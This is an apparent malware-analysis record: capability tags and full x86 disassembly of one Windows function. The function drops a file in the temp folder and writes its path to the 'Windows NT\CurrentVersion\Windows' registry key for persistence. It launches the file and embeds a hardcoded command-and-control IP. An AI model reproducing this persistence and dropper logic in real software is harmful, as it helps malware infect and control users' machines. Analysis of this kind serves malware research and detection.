Function at 0x402af0
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6a0
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x664], 0
mov dword [ebp - 0x66c], 0
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.00409790
add esp, 0xc
xor edx, edx
mov word [ebp - 0x414], dx
push 0x206
push 0
lea eax, [ebp - 0x412]
push eax
call fcn.00409790
add esp, 0xc
push 0x200
push 0
lea ecx, [ebp - 0x614]
push ecx
call fcn.00409790
add esp, 0xc
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.00405d45
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004031f0
mov dword [ebp - 0x664], eax
cmp dword [0x41bfc8], 1
jne 0x402bd1
cmp dword [ebp - 0x664], 0
jne 0x402bd1
xor eax, eax
jmp 0x4031dc
call fcn.00403820
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x614], 0x504d534d
mov edx, 0x51
mov word [ebp - 0x590], dx
mov eax, 0x2b8e
mov word [ebp - 0x4ee], ax
mov dword [ebp - 0x660], 0x418b14
lea ecx, [ebp - 0x56e]
mov dword [ebp - 0x634], ecx
mov edx, dword [ebp - 0x634]
mov dword [ebp - 0x69c], edx
mov eax, dword [ebp - 0x660]
mov cx, word [eax]
mov word [ebp - 0x620], cx
mov edx, dword [ebp - 0x634]
mov ax, word [ebp - 0x620]
mov word [edx], ax
mov ecx, dword [ebp - 0x660]
add ecx, 2
mov dword [ebp - 0x660], ecx
mov edx, dword [ebp - 0x634]
add edx, 2
mov dword [ebp - 0x634], edx
cmp word [ebp - 0x620], 0
jne 0x402c20
mov dword [ebp - 0x64c], str.112.175.88.207
lea eax, [ebp - 0x610]
mov dword [ebp - 0x630], eax
mov ecx, dword [ebp - 0x630]
mov dword [ebp - 0x694], ecx
mov edx, dword [ebp - 0x64c]
mov ax, word [edx]
mov word [ebp - 0x628], ax
mov ecx, dword [ebp - 0x630]
mov dx, word [ebp - 0x628]
mov word [ecx], dx
mov eax, dword [ebp - 0x64c]
add eax, 2
mov dword [ebp - 0x64c], eax
mov ecx, dword [ebp - 0x630]
add ecx, 2
mov dword [ebp - 0x630], ecx
cmp word [ebp - 0x628], 0
jne 0x402c8a
mov dword [ebp - 0x658], str.AAAA
lea edx, [ebp - 0x58e]
mov dword [ebp - 0x638], edx
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x658]
mov dx, word [ecx]
mov word [ebp - 0x61e], dx
mov eax, dword [ebp - 0x638]
mov cx, word [ebp - 0x61e]
mov word [eax], cx
mov edx, dword [ebp - 0x658]
add edx, 2
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x638]
add eax, 2
mov dword [ebp - 0x638], eax
cmp word [ebp - 0x61e], 0
jne 0x402cf4
mov dword [ebp - 0x44c], 5
push 0x41bfec
push 0x10
lea ecx, [ebp - 0x48c]
push ecx
call fcn.00405ce9
add esp, 0xc
cmp dword [ebp - 0x664], 0
jne 0x402d6e
cmp dword [ebp - 0x66c], 0
je 0x402de4
push 0x41c120
lea edx, [ebp - 0x58e]
push edx
call fcn.004024e0
add esp, 8
push 0x41c0a0
lea eax, [ebp - 0x610]
push eax
call fcn.004024c0
add esp, 8
push 0x41c018
lea ecx, [ebp - 0x56e]
push ecx
call fcn.004024c0
add esp, 8
mov dx, word [0x41c098]
mov word [ebp - 0x590], dx
mov ax, word [0x41c010]
mov word [ebp - 0x4ee], ax
mov ecx, dword [0x41c00c]
mov dword [ebp - 0x44c], ecx
cmp dword [0x41c00c], 0
jne 0x402de4
mov dword [ebp - 0x44c], 5
mov dword [ebp - 0x648], 0x418b60
lea edx, [ebp - 0x56e]
mov dword [ebp - 0x640], edx
mov eax, dword [ebp - 0x640]
mov cx, word [eax]
mov word [ebp - 0x652], cx
mov edx, dword [ebp - 0x648]
cmp cx, word [edx]
jne 0x402e60
cmp word [ebp - 0x652], 0
je 0x402e54
mov eax, dword [ebp - 0x640]
mov cx, word [eax + 2]
mov word [ebp - 0x64e], cx
mov edx, dword [ebp - 0x648]
cmp cx, word [edx + 2]
jne 0x402e60
add dword [ebp - 0x640], 4
add dword [ebp - 0x648], 4
cmp word [ebp - 0x64e], 0
jne 0x402dfa
mov dword [ebp - 0x670], 0
jmp 0x402e6b
sbb eax, eax
or eax, 1
mov dword [ebp - 0x670], eax
mov ecx, dword [ebp - 0x670]
mov dword [ebp - 0x67c], ecx
cmp dword [ebp - 0x67c], 0
je 0x402ef4
mov dword [ebp - 0x44c], 5
mov dword [ebp - 0x65c], 0x418b80
lea edx, [ebp - 0x56e]
mov dword [ebp - 0x644], edx
mov eax, dword [ebp - 0x644]
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x65c]
mov dx, word [ecx]
mov word [ebp - 0x626], dx
mov eax, dword [ebp - 0x644]
mov cx, word [ebp - 0x626]
mov word [eax], cx
mov edx, dword [ebp - 0x65c]
add edx, 2
mov dword [ebp - 0x65c], edx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
cmp word [ebp - 0x626], 0
jne 0x402eac
mov ecx, 2
imul ecx, ecx, 0
movzx edx, word [ebp + ecx - 0x610]
test edx, edx
je 0x402f13
movzx eax, word [ebp - 0x590]
test eax, eax
jg 0x402f1d
jmp 0x4031cc
mov dword [ebp - 0x614], 0x504d534d
mov dword [ebp - 0x62c], 0x41bfec
mov ecx, dword [ebp - 0x62c]
add ecx, 2
mov dword [ebp - 0x688], ecx
mov edx, dword [ebp - 0x62c]
mov ax, word [edx]
mov word [ebp - 0x666], ax
add dword [ebp - 0x62c], 2
cmp word [ebp - 0x666], 0
jne 0x402f40
mov ecx, dword [ebp - 0x62c]
sub ecx, dword [ebp - 0x688]
sar ecx, 1
mov dword [ebp - 0x690], ecx
je 0x402fa3
push 0x41bfec
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402fa3
push 0x41bfec
push 0x10
lea edx, [ebp - 0x48c]
push edx
call fcn.00405ce9
add esp, 0xc
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x48c]
test ecx, ecx
jne 0x402fcb
push str.houtue
lea edx, [ebp - 0x48c]
push edx
call fcn.004024e0
add esp, 8
mov eax, 2
imul eax, eax, 0
movzx ecx, word [ebp + eax - 0x46c]
test ecx, ecx
jne 0x403057
push str.biudfw
lea edx, [ebp - 0x46c]
push edx
call fcn.004024e0
add esp, 8
mov dword [ebp - 0x61c], 0x41bfcc
mov eax, dword [ebp - 0x61c]
add eax, 2
mov dword [ebp - 0x674], eax
mov ecx, dword [ebp - 0x61c]
mov dx, word [ecx]
mov word [ebp - 0x654], dx
add dword [ebp - 0x61c], 2
cmp word [ebp - 0x654], 0
jne 0x40300c
mov eax, dword [ebp - 0x61c]
sub eax, dword [ebp - 0x674]
sar eax, 1
mov dword [ebp - 0x680], eax
je 0x403057
push 0x41bfcc
lea ecx, [ebp - 0x46c]
push ecx
call fcn.004024e0
add esp, 8
mov edx, dword [0x41aef0]
mov dword [ebp - 0x448], edx
cmp dword [ebp - 0x44c], 0
jne 0x403076
mov dword [ebp - 0x44c], 5
lea eax, [ebp - 0x614]
push eax
call fcn.00402910
add esp, 4
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0
jne 0x40309e
jmp 0x4031cc
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x46c]
call fcn.00403b20
push 0x104
lea ecx, [ebp - 0x414]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x64
div ecx
mov dword [ebp - 0x68c], edx
mov edx, dword [ebp - 0x68c]
push edx
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x414]
call fcn.00404260
add esp, 4
mov dword [ebp - 0x618], 0
lea eax, [ebp - 0x618]
push eax
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4031b2
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x624], ecx
mov edx, dword [ebp - 0x624]
add edx, 2
mov dword [ebp - 0x684], edx
mov eax, dword [ebp - 0x624]
mov cx, word [eax]
mov word [ebp - 0x650], cx
add dword [ebp - 0x624], 2
cmp word [ebp - 0x650], 0
jne 0x403144
mov edx, dword [ebp - 0x624]
sub edx, dword [ebp - 0x684]
sar edx, 1
mov dword [ebp - 0x678], edx
mov eax, dword [ebp - 0x678]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x20c]
push edx
push 1
push 0
push 0x418c2c
mov eax, dword [ebp - 0x618]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4031b2
mov ecx, dword [ebp - 0x618]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x418c34
lea edx, [ebp - 0x20c]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x63c], 1
mov eax, dword [ebp - 0x63c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret